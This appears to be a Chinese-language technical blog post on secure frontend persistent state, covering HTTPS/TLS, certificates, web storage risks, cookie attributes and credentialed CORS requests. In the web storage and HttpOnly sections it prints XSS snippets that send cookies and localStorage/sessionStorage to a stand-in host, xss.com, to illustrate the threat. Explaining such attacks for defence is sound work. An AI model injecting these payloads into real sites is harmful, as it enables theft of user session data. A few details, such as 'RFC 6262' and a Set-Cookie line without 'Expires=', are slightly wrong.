前端持久化状态管理

Liu Bowen

Liu Bowen / 2019, 十二月, 25

场景

本文主要以 传输链路安全浏览器客户端信息安全 的路径来阐述一种前端持久化状态管理解决方案。旨在说明一种安全的且包含存储生命周期的本地持久化状态管理机制,在这种机制下,安全防泄漏,持久化,生命周期是关注的重点。

js
const frontendSolution = transmissionSecurity + clientSecurity

传输链路安全

众所周知,现阶段广泛使用的安全的信息传输链路最佳实践是基于 TLS 的加密传输文本协议 —— HTTPS。它通过非对称加密算法实现端点认证,通过对称加密算法实现加密消息,实现安全保密的双向通信。

HTTPS 的设计动机在于在客户端和服务端进行双向数据传输时,保证数据的 完整性私密性。它主要用于对抗 中间人攻击,防止双向通信中的数据窃听和篡改,即它是保护的 传输链路 安全,而非保证双端的安全。HTTPS 本身 并不是 区别于 HTTP 协议的新协议,它只是原有 HTTP 传输协议的 拓展HTTP 是明文传输的传输协议,而 HTTPS 是在原有的 HTTP 协议之上再 “套” 上了一层 TLS 来传输数据,而 TLS 本质是传输安全协议,那么 “套上” 了 TLSHTTP 不再通过明文传输信息,最终使得 HTTP 具有加密传输的能力。故本质上 HTTPS 是一种 安全HTTP 传输协议,又称 TLSSSLTLS 的前身) 之上的 HTTP

js
const https = http + tls

如前文所述,HTTPS 通过 TLS 层解决了 HTTP 的加密问题。那么 TLS 又是如何保障信息的安全的呢?

基于现行 TLS v1.3 标准文档,TLS 层用于在通信双方建立一个安全的通信通道,它底层传输必须依赖于一个有序的数据流。具体来说,该安全通道具有以下 特性

  • 认证

    一般在实践中经常使用的是 服务端认证,而 客户端认证 是可选的,且在实践中并不常见,即 HTTPSTLS 标准中是提供了 双向认证 的能力的。通道端点(endpoint)两侧的认证都是基于 非对称加密(如 RSA 等算法)。

  • 保密

    在建立通道后传输的数据始终 仅对通道的端点可见,另外 TLS 本身默认不会隐藏传输的数据的长度。如有必要可在端点实现模糊数据长度。

  • 完整

    在建立通道后传输的数据在未经检测的情况下无法被攻击者修改。

ts
// typescript data structure
interface tls {
  authentication: unknown
  confidentiality: unknown
  integrity: unknown
}

TLS 协议本身可被抽象化为两个基本组成部分:

  1. handshake 协议,主要用于认证通信双方,协商加密套件和加密参数,并建立共享密钥handshake 协议设计目的在于防止信息篡改。

    本质上来说,最终在 HTTPS 通信中所有业务层信息交换都是基于此处的 共享密钥。这种通过共享密钥的通信方式又被称为 对称加密通信(注意与前文表述握手阶段双端使用非对称加密通信来实现端点认证的方式区分开)。

  2. record 协议,主要使用参数在通过 handshake 协议建立通信后保护通信。record 协议本身将所有通信原始信息分离为一系列的 records。每一个 records 都被 traffic key 独立地保护。

    TLS 协议本身与应用层协议独立开来,所以在 TLS 协议中并不限制如何实现 TLS 握手,解析交换的身份验证证书的方式完全取决于在 TLS 之上的应用层协议的处理。

js
const tls = tlsHandshake + tlsRecord

通过以上对 TLS 组成部分的抽象和设计目的的分析,TLS 给予了 HTTPS 协议 防篡改防数据劫持 的能力。

js
const httpWithEncryption = http + encryptionFromTls

为什么要使用公钥证书

如前文所述,TLS 并不限制加密通道端点身份认证的实现方式,但基于公钥证书的认证方式是符合 TLS 中对通信通道的 非对称加密 证书认证的具体实现。

那么一切关于通信通道端点身份认证的关键在于一个由第三方受信任的证书机构所签发的 digital certificates 数字公钥证书。 数字证书本质上是上文提到的 TLS 基本组成部分 handshake 协议中生成 共享密钥 前提条件。而 共享密钥 即是加密通信中对称加密的信息的密钥关键所在。

共享密钥在 HTTPS 协议中又被称为 master key 主密钥。

即要实现密文传输,就要实现 共享密钥 生成,要实现 共享密钥 生成就必须要实现基于身份认证证书的认证流程。基于公钥证书,客户端和服务端经历一系列的密钥生成最终得到加解密所需要的密钥 master key。这些步骤大致可抽象为两部分:

  • pre-master key 预主密钥生成

    预主密钥的产生是一个完整的 非对称加解密 的典型流程。客户端通过服务端提供的公钥证书中的公钥生成 pre-master key 预主密钥,在通过公钥加密传输生成的 pre-master key 至服务端,此时服务端在拿到客户端加密后的 pre-master key 后通过公钥证书的私钥解密还原得到客户端的原 pre-master key 预主密钥。

  • master key 主密钥生成

    客户端与服务端在经历上一步各自通过得到的 pre-master key 即可生成 HTTPS 会话通信加解密密文所需要的 master key 主密钥,该主密钥是在 TLS 层中扮演的即是 TLS handshake 协议中的共享密钥,为 TLS record 协议保障安全传输。

set.sh image

如何保证公钥证书私密性

数字公钥证书本质上表示一个 公钥(即 public key)的所有权的电子凭证。它由一个 第三方受信任的组织 签发,并且为证书持有人提供鉴定。一个受信任的签发公钥数字证书的机构又被称为 数字证书认证机构certificate authority,即 CA)。任何要从 CA 获取证书的实体都必须提供身份证明,如域名验证。当 CA 确认了身份证明后,就会签发特定用于当前身份的数字签名证书,并确保其证书下的信息有效性。

一个数字签名证书的核心组成部分REC-X.509是:

  1. 签发者(Issuer),指签发当前数字公钥证书的 CA 机构。如果一个用户信任一个 CA 机构,并且证书是有效的,那么用户就可以信任由该 CA 签发的数字公钥证书。

  2. 有效期,在有效期内证书是有效的。

  3. 证书所有者(Subject),其包含了当前数字公钥证书的所有者实体。它用于确定当前的 public key 没有被盗用,避免出现虚假客户端盗用证书冒充合法的证书拥有者实体套取用户信息。

  4. public key 信息,即常说的 公钥。它用于在双端实现基于非对称加密的端点认证。

  5. 数字签名,该签名由 CA 使用 CA 提供的 私钥 生成。它用于确保证书有效性。

js
const certificateCore = issuer + subject + publicKey + uniqueSignature + ...

set.sh image

那么为什么要实现由第三方受信任机构来签发数字公钥证书?为什么不直接使用通过 RSA 等非对称加密实现自签证书?主要原因是让一个 受信任第三方 机构来为 TLS 整个加密通信过程中的密钥生成做 背书。让第三方来担保整个加密通信不会出现信息篡改,劫持。

最重要的一点 是受信任的第三方证书签发机构 担保 加密通信的对方是合法的目标服务器,而不是其他中间人,以用于防止未经授权的虚假数字公钥证书。如黑客无法通过第三方证书签发机构来签发银行域名下的数字公钥证书来冒充银行。

现如今,现代浏览器和一些现代操作系统首先会在其应用内部预设一些受信任的第三方证书。在客户端进行 TLS/SSL 服务端证书验证时,将通过证书路径验证算法验证服务端提供的证书签名,该签名是来自于签发者的服务端证书,而在通过签发者的服务端验证证书又可验证其父级签发者,最终找到 根签发者。一些合法的根级签发者即是被预置于系统或浏览器中的受信任的合法签发者。

set.sh image

当用户使用自签证书时,是无法在 证书路径 中找到合法签发者的签名。故无法通过客户端的服务端证书验证流程。当服务端无法提供合法的服务端证书时,此时浏览器客户端将发出警告——非法的服务端证书。

敏感信息加密

在有了 HTTPS 保障信息传输链路的安全之后,那么客户端的敏感信息还有没有必要进行加密?如是否应该通过密文的形式传输用户密码?为什么要在客户端进行敏感信息加密?

简短来说,笔者认为是有必要的。为什么?

  1. HTTPS 不能保证客户端来源的安全性,即不能证明“你是你”。

    HTTPS 从设计目的上来说 仅仅 是为了保证目标的唯一性和传输过程中的安全性,而不能确保发送客户端的安全性,以及从客户端发送的请求是否是来自于用户交互。即 HTTPS 不能解决服务端判断 你是你 的问题,而仅仅只能保证请求目的地是合法的真实的目的地,在传输过程中不存在窃听和篡改。

  2. 证明当下的当下的“你是你”

    客户端的敏感信息加密是作为客户端敏感信息安全的一道屏障存在。在客户端将敏感信息加盐加密后,服务端在接收到密文后解密可用于确保该请求是否真实来自于用户交互还是 CSRF。客户端加盐加密并结合当前时间可确保当前请求一定是当前时间点通过用户交互来提交的请求,而不是其他在客户端的非法伪造请求,如克隆一个 X 时间之前的用户真实请求。进而杜绝了客户端通过 重放请求 非法窃取用户信息。

以上即是客户端加密敏感信息再传输至服务端的意义所在。适用的场景如用户注册,用户登录等。

在实践中,如用户注册时通过加盐加密密码实现传输密码的场景,该密文的一种可能的结构是:

js
// 由以下三个核心部分组成
const encryptedMessages = password + nonce + timestamp
  • nonce 签名应该是始终唯一的。nonce 本质上是通过某个认证协议算法签发得到的一个随机数或伪随机数,且只能使用一次。在整个加密传输中,nonce 扮演 salt 的角色用于保证在时间维度上签名合法性。

  • timestamp 是用来保证当前签名在时间维度上的唯一性。

至此,敏感信息加密适用场景是在浏览器客户端向服务端发送机密的敏感数据场景。

会话存储

在有了传输链路安全性的实践,客户端信息自身安全性实践外,那么我们又应该如何实现客户端持久化 存储 敏感信息呢?

先说结论,首先不推荐在 web storage 中存储用户的认真令牌以及其他任何用户的敏感信息。为什么?

web storage 风险

众所周知 web storage 遵从 同源策略,且在同源限制下,任意跨域访问其他源的 web storage 的行为都是无效的。但是这样是否是意味着 web storage 天然的就是适合存储包含敏感信息的任意用户信息呢?答案是否定的,web storage 设计目的不在于此。尽管 web storage 严格遵循 同源策略,但存储在 web storage 中的信息是有泄露风险的。

为什么?

  1. 常见的一种泄露方式就是通过 XSS 来实现同源 web storage 中的敏感信息窃取。

  2. 重要且易被忽视 的一种泄露方式即是不安全的 npm package

    当一个 网站 siteA 引用了一个不安全的 packageB 后,在打包发布 siteA 后,packageB 因为是和 siteA 是同源的。那么 packageB 理论上是可以访问任意 siteA 下的信息,这其中也包括 所有 siteA 的敏感信息,这是因为所有的 web storage 都是遵循 同源策略。所以 不推荐web storage 中存储任何敏感信息,任何第三方在通过某种途径(如上文的 XSS 或第三方 npm package)突破同源限制时,该第三方将毫无阻拦地访问任意信息。另外,本身 web storage 设计之初就不是让开发人员在 web storage 中存储敏感信息的,它没有任何阻止 JS 访问的强制机制。只要通过某些手段获得同源条件下的代码执行能力,那么所有 web storage 中的数据都将被毫无保留地泄露。

js
// 通过 XSS 攻击,插入以下脚本后,第三方在同源条件下发起非法请求
new Image().src = `https://xss.com?cookies=${
  window.document.cookies
}&local=${JSON.stringify(localStorage)}&session=${JSON.stringify(
  sessionStorage
)}`

HTTP 的状态管理

那么是不是在前端就没办法左到安全且有效的敏感信息存储呢?当然有,通过 Cookie 来实现。接下来的问题就变成开发人员应该如何通过 Cookie 来安全地且有效存储一些必要的敏感信息?

这里先说提一下 web 开发人员经常接触的 HTTP 协议。众所周知,HTTP 本身是 无状态通信协议,所有的 HTTP 要有状态都是通过现行的一个 HTTP 状态管理机制 的规范 RFC 6265 来实现。

那么在 RFC 6265 中规定了怎样的 HTTP 状态管理实现机制?这里开始引入我们的主角—— Cookie。任意服务端可通过一个 Set-Cookie 响应头来传输一个或多个与 元数据 相关的 name/value 键值对给一个客户端。在客户端随后的请求中,客户端将使用元数据和其他数据来决定在 Cookie 请求头中返回之前服务端通过 Set-Cookie 传输的 name/value 键值对。这就是 RFC 6265 HTTP 状态管理机制的 核心。就是这么简单暴力。通过一来一回的键值对传输赋予了 HTTP 的状态管理能力。

js
const oneCookie = nameAndValue + metadata
text
+------------+                             +------------+
|            |          Set-Cookie         |            |
|          +-------------------------------->           |
|   server   |                             |   client   |
|          <--------------------------------+           |
|            |            Cookie           |            |
+------------+                             +------------+

说了这么多,Cookie 到底和客户端的安全存储有什么关系?关键在于前文描述的通过 Set-Cookie 来实现向客户端传输与 元数据 相关的 name/value 键值对。什么是元数据?

元数据功能

元数据在 Wiki 中被表述为 data about data,即 描述数据的数据。结合前文对于 Cookie 的表述。这里与 Cookie 相关的元数据可被表述为任意描述定义 Cookie 键值的其他类型数据。这种数据不应是与业务相关的数据类型,而应仅仅用于表述当前 Cookie 键值的 性质。在 RFC 6265Set-Cookie 章节中定义了这些些用于描述 Cookie 的元数据,这些元数据正是保证前端临时存储信息的屏障。

限制 JS 访问

RFC 6265 中定义了一个 HttpOnly 属性,该类型出现在 Set-Cookie 响应头中时,将定义该请求头中的 name/value 键值对 能在 HTTP 请求中被传输和访问,而不能通过任意的 JS 脚本来访问,即使时同源内的 JS 脚本语句也不行。

常见地,Web 开发人员可通过 document.cookie 这样的 DOM API 来访问当前源内的所有 Cookie 值,但是这些值是 不会包含 任意被设定了 HttpOnlyCookie 值的。

js
// 即使前端被 XSS 攻破,通过以下类似语句是无法获取到有 HttpOnly 加持的 Cookie 值
new Image().src = 'https://xss.com?cookies=' + document.cookie

这种 Cookie 的元数据类型赋予了服务端数据在前端的不可访问性(对任意前端脚本来说),但可在前端被存储。这样服务端可通过 HttpOnly 属性来向客户端传输用户的敏感信息(如持久化访问令牌),而无需担心敏感信息因 JS 的访问而造成的泄露。

这里读者可能注意到这种不可访问性所带来的局限性。任意设置了 HttpOnlyCookie 将不能被 JS 访问,那么其中是 不适合放置任何前端需要访问的数据的。而在本文所讨论的安全的前端持久化状态管理机制中,前端 JS 是没有必要来访问服务端所提供的 持久化令牌

为什么?笔者认为持久化令牌本身是作为一种合法有效的访问后台服务的凭证而存在,那么它不因被修改,且不应被随意查看, 有访问对应的服务的时候才是它真正的用武之地。那么基于持久化令牌的定位,它就不应该被前端通过 JS 访问,更不能通过 JS 来访问持久化令牌。它应该始终被服务端发送给唯一客户端,并经由客户端回传至服务端用于服务端的资源访问权限的鉴定,那么从设计的目的上来说,该持久化令牌是应该不被篡改,且保密的。

故正是这种对前端的限制访问的需求,催生了 HttpOnly 这种属性,这也是 HttpOnly 属性的价值所在——限制前端所有非法访问指定 Cookie 的能力。

防止中间人攻击

前文已经介绍了一个 HttpOnly 属性来限制前端的访问能力,那么 Cookie 又是如何防范中间人攻击呢?即使通过 HttpOnly 来限制前端的访问,若在传输过程中被任意中间人获取到我们的持久化令牌,那么前文的一切防范都将是徒劳。众所周知,HTTP 本身是不加密的明文的文本传输协议,在 HTTP 协议下传输任意 Cookie,都有被中间泄露并篡改信息的风险。而 HTTPSTLSSSLTLS 的前身) 之上的 HTTP 协议。从传输协议的角度,当开发者完全杜绝使用 HTTP 传输关键性的敏感信息时,即可防范中间人攻击。

那么如何实现以上理论?通过 Cookie 中的 Secure 属性,该属性指定了其所属 Cookie 键值对 必须 是在 安全的 协议下传输,否则将不传输。RFC 6262 原文指出,当通过 Set-Cookie 存储 name/value 时,若存在 Secure 属性为真,那么仅在客户端使用 安全 的通信协议时才可能会发送该 Cookie 值至指定服务端。

什么是安全的通信协议?在 RFC 6265显式地 说明了通信协议是否安全是由 客户端 定义。一般常见的浏览器都是将 HTTPS 协议定义为安全的通信协议,而 HTTP 是不安全的通信协议。

限制目的地

在现代浏览器中,Cookie 默认情况下 严格遵循同源策略,那么在同源请求中携带 Cookie 数据是没问题的,那么当我们需要在跨域请求中携带 Cookie 信息应该怎么办呢?不可能所有的跨域请求都可以携带 Cookie,要不然原本的 Cookie 同源策略就形同虚设。

RFC 6265 中定义了一个 Domain 属性。该属性赋予了客户端对应 Cookie 值的限制传输性。什么是限制传输性?核心就是定义 Cookie 的作用域,使得 Cookie 只能在合法有效的作用域内使用。在此元数据的加持下,使得即使在跨域条件下,也仅有完成域名匹配的目的地才会发送当前源的指定 Cookie 值。

前文所述,Cookie 在被服务端传输到客户端存储后,客户端会在随后向服务端的请求中都会携带该 Cookie 值。在服务端通过 Set-Cookie 设置客户端的 Cookie 值时,存在 Domain=github.com 时,那么该 Cookie仅仅 会在向 github.com 请求时才会发送该 Cookie 值。在 RFC 6265 中定义的客户端 Cookie 存储模型中,当没有设置 Domain 属性时,客户端将设置该属性为空字符串。但在浏览器中因为一些安全原因,当 Cookie 没有被设置 Domain 属性时,将默认设置该值为当前网页的宿主 host 域名,且 不包含 该域名的子域名。

另外,在 MDN 中同样实现了 RFC 6265 协议中对 域名匹配 的规则,当存在 Domain=github.com 时,那么当前 Cookie 将同样也会被发送至其 github.com 的子域名,如 hi.github.com

RFC 6265 中定义了 Cookie 机制应该如何匹配 domain 属性:

A string domain-matches a given domain string if at least one of the following
conditions hold:

   o  The domain string and the string are identical.  (Note that both
      the domain string and the string will have been canonicalized to
      lower case at this point.)

   o  All of the following conditions hold:

      *  The domain string is a suffix of the string.

      *  The last character of the string that is not included in the
         domain string is a %x2E (".") character.

      *  The string is a host name (i.e., not an IP address).

一个给定的 domain 字符串和一个字符串域名匹配在满足以下至少一条的情况下成立:

  1. domain 字符串和给定字符串 全等(注意,domain 字符串和给定字符串会被标准化为全小写进行比较)

  2. 满足以下所有条件:

    1. domain 字符串是给定字符串的一个后缀。

    2. domain 字符串的最后一个 %2xE(“.”) 字符不包含在给定字符串的最后一个字符。

    3. 给定字符串是一个 host 名称,而不是一个 IP 地址。

示例 如下:

domain attributegithub.coma.github.comfoo.github.combar.a.github.com
github.com
a.github.com
.github.com
.a.github.com

结合本文所讨论的安全的前端认证方式中,Domain 属性使得存储在 Cookie 中的认证信息存在了一个有效 “作用域”,即 Cookie 中的认证信息结合 Cookie 的同源策略,那么它永远不会被传输到任何不合法域名所指向的服务器。

特别地,对于公共次级域名,形如 .com.cnRFC 6265storage model 章节指出 user agent 应维护一个公共次级域名后缀列表,以用于防止错误的 cookie 发送。在 RFC 6265 4.1.2.3 中说明,为了安全,若 Cookiedomain 属性为公共次级域名,那么此时 Cookie 应该被忽略。

元数据应用

通过以上三个基本的 Cookie 属性,可以实现一个 最基础的持久化令牌的客户端存储模型。这个基础的存储模型从以下方面保证了前端信息的安全性和持久性:

  1. 从存储源头上,通过 HttpOnly 限制 谁能访问

  2. 从传输目标上,通过 Domain 保证,即使在跨域请求的条件下,传输的目的地 仍然是合法的;

  3. 从传输路径上,通过 Secure 限制传输的通信协议必须是 安全的通信协议

这里 读者可找到所有谷歌官方 Google.com 当前正在使用的所有 Cookie 类型,其中用于鉴权并保证表单提交的安全性的 Cookie 名为 __Secure-SSID__Secure-HSID。在实践中,通过查看 Cookie 设置,可见这两个值都拥有 HttpOnly 属性。其中 __Secure 前缀用于仅在 https 的条件下发送该 Cookie#

用途类别示例
......
安全我们使用安全 Cookie 对用户进行身份验证,防止登录凭据遭到冒用并且防止未经授权的第三方使用用户数据。 例如,我们使用名为 “SID”“HSID”Cookie,其中包含了关于用户 Google 帐户 ID 和最近登录时间的数字签名和加密记录。通过结合使用这两个 Cookie,我们可以阻止多种类型的攻击,例如试图窃取您在网页上填写的表单内容的行为。
......

在解决 Cookie 的安全性问题之后,又如何实现 Cookie 中凭证生命周期管理?

RFC 6265 标准中,提到存在 Max-AgeExpires 属性来描述一个 Cookie 键值对的生命周期。并且从 存储模型 中对生命周期的描述可见,Max-Age 具有最高优先级,其次是 Expires 属性,在 Cookie 键值对没有被二者修饰时,那么此时该键值对默认是 会话 Cookie,即在当前 web 会话结束时,将删除所有 会话 Cookie 键值对。

  • 会话 Cookie
bash
Set-Cookie: token=123
# 该 token 键值对将在当前会话结束时被删除
  • 持久 Cookie
bash
Set-Cookie: token=123; Wed, 1 Jan 2020 00:00:00 GMT
# 该 token 键值对将在 2020 年 1 月 1 日零时过期,届时将被 user agent 删除

另外根据 RFC 6265 中对 Cookie header 的表述,在所有客户端发送 Cookie store 中的 Cookie 键值对时,应始终只存在的 最多一个 Cookie 请求头。

可通过 google chrome 的 “阻止第三方 cookie” 功能验证。

若一个 Cookiedomain 属性域当前页面的域名能够实现 RFC 6262 5.1.3 中规定的域名匹配,另结合本文对域名匹配的 解读,那么就说该 Cookie 是属于第一方 Cookie,反之为第三方 CookieMDN RFC 6265

值得注意的是第一三方 Cookie 的区分标准是以是否能够完成 domain 匹配来实现的,而不是是否是同源。第一方 Cookie 不一定同源,但第三方 Cookie 一定是不同源的。

现代浏览器都提供了拒绝任何第三方 Cookie 的能力,当用户主动设置拒绝任何第三方 Cookie 设置时,任何第三方 Cookie 都将失效

Cookie 严格遵循同源策略,那么本源仅仅能够访问到同源下的 Cookie,而无法访问第三方 Cookie

有读者可能注意到前文所阐述的前端持久化状态机制是基于 第一三方 Cookie 的维度,而 Cookieweb storage 一样是遵循 同源策略 的,那么我们应该如何处理不同源这个维度的 Cookie。在一般业务落地时,会存在如微服务部署等一些策略导致 Cookie 提供方的部署地址与客户端的部署地址不一致的情况。那么存在跨域的情况下我们开发者又该如何实现安全的持久化 Cookie 存储?

首先回到一个最基本的问题——什么是同源 origin?web 内容中,所有 协议域名端口 一致的 URL 均属于同源。反之,存在至少一项差异时,就是 跨域。那么当客户端请求源与客户端本身请求源存在 协议域名端口 的差异时,会发生 跨域请求。在发生 跨域请求 时,需要服务端提供 Access-control-allow-origin 来表明合法的跨域请求来源(实现跨域请求的方式之一)。当存在一个非法的跨域请求时,浏览器端 并不会 阻止 跨域请求 的发生,但浏览器会 阻止解析 任何非法跨域请求的响应。归根结底,同源策略是浏览器客户端的安全策略,而非服务端的安全策略。

如前文所述,Cookie 遵循 同源策略,那么在发起跨域请求时,在浏览器端 默认 是不会发送,并且也不会保存响应中包含的跨域 cookie(如有)#。那么在遵循同源策略条件下:

  1. 如何存储并发送跨域 Cookie

  2. 存储和发送跨域 Cookie 有哪些限制,对于本文的前端持久化状态管理方案有哪些影响?

浏览器客户端虽然在默认情况下不会接收和发送任何跨域 Cookie 键值对,然而浏览器暴露了保存和发送跨域 Cookie 值的能力——credentials request。开发者可通过 XMLHttpRequest.withCredentialsfetch.credentials 来实现浏览器客户端的 credentials request 认证请求。

根据 MDNXMLHttpRequest.withCredentialsfetch.credentials 的定义,该值指定了对于任意的跨域请求,是否应该发送当前客户端的 认证信息,如 CookieAuthorization 请求头或 TLS客户端证书。XMLHttpRequest.withCredentials 的默认值为 false,而 fetch.credentials 默认值为 same-origin。也就是在默认情况下,所有的前端 跨域 请求都不会存储和发送跨域 Cookie 至请求服务器。

  • XMLHttpRequest
ts
function credentialsXHR(url: string, methods: 'GET' | 'POST' = 'GET') {
  return new Promise(resolve => {
    const xhr = new XMLHttpRequest()
    xhr.open(methods, url, true)
    xhr.withCredentials = true // 关键点,指定当前请求应该发送 credentials 信息
    xhr.onreadystatechange = () => {
      if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
        resolve(xhr.response)
      }
    }
    xhr.send()
  })
}
  • fetch API
ts
function credentialsFetch(url: string, method: 'GET' | 'POST' = 'GET') {
  return fetch(url, {
    method,
    credentials: 'include' // 关键点,指定当前请求应该发送 credentials 信息
  }).then(res => res.json())
}

另外,众所周知,在跨域请求中是存在 简单请求预检请求 的,而它们二者对跨域 Cookie 又有什么影响呢?根据 MDN 的定义,所有 credentials request 均不受 简单请求预检请求 的影响。

Credentialed Access Control Requests can be either Simple or Preflighted, depending on the request methods used.

但是根据 MDN 阐述,当发送 credentials request 时,服务端返回的 Access-Control-Allow-Origin 不能* 通配符。并且服务端响应客户端的 credentials request(不论是简单请求还是预检请求) 时,必须 响应 Access-Control-Allow-Credentialstrue,客户端才会正常保存 credentials request 的响应中的跨域 Cookie 值。

Access-Control-Allow-Credentials 响应头用于告知浏览器客户端是否应该向前端 JS 暴露响应中的认证信息,即是否应该解析响应报文中的认证信息。

归根结底,浏览器客户端要实现接收和发送跨域 Cookie 值必须满足以下条件:

  1. 默认不会接收和发送跨域 Cookie 值,除非通过 XMLHttpRequestfetch API 发送 credentials request

  2. 当为简单请求的 credentials request 时,必须返回 Access-Control-Allow-Credentialstrue

  3. 当为预检请求的 credentials request 时,在遵循上一条规则的情况下,还需要满足 Access-Control-Allow-Origin 响应头不为 * 通配符。

上文阐述了实现跨域 Cookie 的存储与发送的基本原理。但跨域 Cookie 为了保证其信息安全性仍存在一些安全限制。

结合前文阐述的 Cookie作用域 Domain 属性,当 Cookie 未指定该属性时,Cookie 的默认有效作用域是 当前文档域名且不包含子域名。而指定该属性时,Cookie 的有效作用域是指定的域名及其子域名。那么存在当当前文档域名与跨域 cookieDomain 属性,二者既不是 父子 也不是 兄弟 关系的情况下,将不能在二者之间通过 跨域请求 来实现跨域 Cookie 的设置。

结论

笔者私以为前端持久化状态方案具有较强的业务耦合性,具体的方案根据实际情况的业务需求,在落地复杂度存在较大跨度,故本文并没有提供一个完整前端持久化状态管理方案,而是从另外一个角度来阐述所有前端持久化存储方案都绕不开的 基本知识点以及安全性底线。本文核心是在从客户端信息存储安全,传输链路安全方面来阐述了一种有效的基于 HTTPS 协议和包含元数据的 Cookie 的前端持久化状态管理 解决方案的核心思路

通过 HTTPS 协议来保障传输链路安全,降低信息传输过程中被窃听,篡改的风险。通过 Cookie 的元数据类型来保障持久化状态管理信息在客户端的存储安全,譬如通过 HttpOnly 属性来隔绝敏感信息,通过 Secure 保证敏感信息仅能通过 HTTPS 协议传输。

参考